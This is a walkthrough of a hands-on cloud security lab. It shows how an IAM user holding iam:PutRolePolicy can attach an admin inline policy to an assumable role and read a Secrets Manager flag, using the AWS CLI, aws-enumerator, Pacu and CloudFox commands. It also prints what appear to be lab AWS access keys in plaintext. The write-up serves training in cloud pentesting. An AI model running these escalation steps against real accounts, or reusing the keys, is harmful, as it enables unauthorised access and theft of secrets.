AWS Pentesting: IAM Privilege Escalation via iam:PutRolePolicy
In this writeup, we will do a walk through on Cybr’s IAM PutRolePolicy PrivEsc lab, which highlights privilege escalation by abusing the AssumeRole and iam:PutRolePolicy permissions.
The image below shows that our access is an IAM user named “iam-putrolepolicy-privesc-1734733330760-Support-Mike”
Lets then check the inline and the attached policies for this IAM user using the commands below
aws iam list-user-policies --user-name iam-putrolepolicy-privesc-1734733330760-Support-Mike --profile PutRolePolicy
aws iam list-attached-user-policies --user-name iam-putrolepolicy-privesc-1734733330760-Support-Mike --profile PutRolePolicy
The image above shows that there is no inline policies attached for the user. This user is also not allowed to check the attached user policies.
Lets then try to use aws-enumerator tool which we can get from this Github link.
./aws-enumerator cred -aws_access_key_id AKIAVDN5CV7VO27GSIGK -aws_secret_access_key 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
./aws-enumerator enum -services all -speed slow
The image below shows that our user has some IAM and STS permissions. Check this further by running “aws-enumerator dump -services sts,iam” command.
./aws-enumerator dump -services sts,iam
The outcome of the command shows we have permission to ListPolicies, ListGroups,ListUsers,ListRoles, and GetUser.
Let’s check first the group by running “list-groups”. Note that in this lab, you may get several groups.
aws iam list-groups --profile <profile>
aws iam list-groups --profile PutRolePolicy
If you happen to have a lot of groups. Use the “list-groups-for-user” command.
aws iam list-groups-for-user --user-name <iam name> --profile <profile name>
aws iam list-groups-for-user --user-name iam-putrolepolicy-privesc-1734733330760-Support-Mike --profile PutRolePolicy
The result above shows that our IAM user is part of “iam-putrolepolicy-privesc-1734733330760-Support” group with a group ARN of “arn:aws:iam::350973243370:group/iam-putrolepolicy-privesc-1734733330760-Support”.
Next, lets get the inline and attached policies of this group by running “list-group-policies” and “list-attached-group-policies”
aws iam list-group-policies --group-name <group-name> --profile PutRolePolicy
aws iam list-group-policies --group-name iam-putrolepolicy-privesc-1734733330760-Support --profile PutRolePolicy
aws iam list-attached-group-policies --group-name <group-name> --profile PutRolePolicy
aws iam list-attached-group-policies --group-name iam-putrolepolicy-privesc-1734733330760-Support --profile PutRolePolicy
The image below shows that there is an inline policy for this group named iam-putrolepolicy-privesc-1734733330760-policy. However our user has no permission to check for attached group policies.
We can then review this policy by running “get-group-policy” as shown below.
aws iam get-group-policy --group-name <group-name> --policy-name <policy-name> --profile PutRolePolicy
aws iam get-group-policy --group-name iam-putrolepolicy-privesc-1734733330760-Support --policy-name iam-putrolepolicy-privesc-1734733330760-policy --profile PutRolePolicy
The image above shows that our IAM user has an iam:PutRolePolicy permission for SupportRole role which allows attaching new inline policies to this role.
This could grant SupportRole additional permissions based on the policy contents. Our user can also assume the role named “SupportRole”
Let’s cross check the role by running the command below.
aws iam list-roles --profile PutRolePolicy
or
aws iam list-roles --query "Roles[?RoleName=='SupportRole']" --profile PutRolePolicy
As an option, we can run Pacu for further confirmation of this privilege escalation vector.
docker run -it rhinosecuritylabs/pacu:latest
import_keys AttachRolePolicy
#or run below if you cant import keys
set_keys
#enter the AWS Keys manually
Run “whoami” first to check that we dont have permission yet.
Then run the iam__enum_permissions and iam__enum_users_roles_policies_groups commands as shown below to enumerate the IAM environment.
whoami
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan
whoami
After enumerating, run iam__privesc_scan, to check for privilege escalation vector.
Then run “whoami” to get the updated permissions.
Notice in the image below that “PutRolePolicy” shows “confirmed”
Lets then assume the role by running the command below.
aws sts assume-role --role-arn <role arn> --role-session-name <preferred session name> --profile <profile name>
aws sts assume-role --role-arn arn:aws:iam::350973243370:role/SupportRole --role-session-name privesc --profile PutRolePolicy
Configure the temporary token and put it in another profile.
Lets do a recon again and use iam-enumerator to bruteforce the permissions that are allowed for this role that we assumed.
./aws-enumerator cred -aws_access_key_id <Access Key ID> -aws_secret_access_key <Secret Key> -aws_session_token <Access Token>
The image below show that we have list permission on S3 and the GetCallerIndentity on STS.
./aws-enumerator dump -services sts,s3
Running the command below shows we can access the content of the s3 bucket.
aws s3 ls --profile SupportRole
aws s3 ls s3://cybr-operations-data-014498641767 --recursive --profile SupportRole
Running list-role-policies while specifying the role-name shows the inline policy for the role. This policy just shows that allowed permission to list the S3 bucket.
aws iam list-role-policies --role-name SupportRole --profile PutRolePolicy
aws iam get-role-policy --role-name SupportRole --policy-name AccessNOTSensitiveBucket --profile PutRolePolicy
We can then run Cloudfox for a quick check on all the services on the target organization.
The results generated by tools like CloudFox, Prowler, ScoutSuite, AWS, Enumerator, etc are limited to the permissions granted to the current user. If the user lacks permissions — such as read access — to certain services (e.g., Secrets Manager, Cognito, etc.), those services will not appear in the tool’s scan output.
For example, the Cloudfox result below shows that only S3 used by the target organization.
./cloudfox aws --profile SupportROle inventory
Now, the lab specifically mentioned that the ultimate goal is to get access to a secret in the Secret Manager service.
One may wonder how can we get an idea that Secret Manager is used by the target organization?
The simplest way to gather this information is during an alignment call or by requesting it as part of the prerequisites. Along with the AWS Account ID, you can ask the customer to provide a list of all the services utilized by the target organization. Additionally, you can request details about the specific regions where these services are deployed. This ensures clarity and helps streamline the assessment process.
Sometimes the client will provide you with a detailed list, including the AWS architecture. Other times, the client will just provide a high-level overview of the services used.
Also, when the client already provided you an IAM user with arn:aws:iam::aws:policy/ReadOnlyAccess permission, you will also have an idea of the services used by the target organization.
We dont have permission to the Secret Manager service as shown previously in the output of the aws-enumerator tool and by running the commands below.
aws secretsmanager list-secrets - profile SupportRole
aws secretsmanager list-secrets - profile PutRolePolicy
Just for testing, create an IAM policy that grants full administrative access or allows all actions across all AWS service. Make sure to remove this policy after the assessment.
Utilizing the iam:PutRolePolicy, we can then run the put-role-policy IAM command to attach an inline policy (secretsaccess) to the SupportRole IAM role, using the permissions defined in the policy.json file. It allows the role to perform actions specified in the policy, such as accessing specific AWS services or resources.
aws iam put-role-policy --role-name SupportRole --policy-name secretsaccess --policy-document file://policy.json --profile PutRolePolicy
Lets run again the command below to list the secrets in Secret Manager.
aws secretsmanager list-secrets - profile SupportRole
The image above shows that we now have esclated our privilege.
As the last few steps, use the get-secret-value secretmanager command to read the secret.
aws secretsmanager get-secret-value --secret-id <secret id> --profile SupportRole
aws secretsmanager get-secret-value --secret-id iam-putrolepolicy-privesc-1734738885202-final_flag --profile SupportRole
Then use base64 or any online tools to decode the SecretSting and submit this as the flag.
echo "Y3lici1sYWJzredactedNDQ4OA==\\" | base64 -d
Conclusion:
In this walkthrough, we showed how privilege escalation can be performed by abusing the iam:PutRolePolicy permission. In this lab, we also showed our thought process for recon on IAM permissions and covered tools such as IAM Enumerator, Pacu, and a high-level discussion on CloudFox.
References:
https://cybr.com/hands-on-labs/lab/iam-putrolepolicy-privesc/
https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/
https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutRolePolicy.html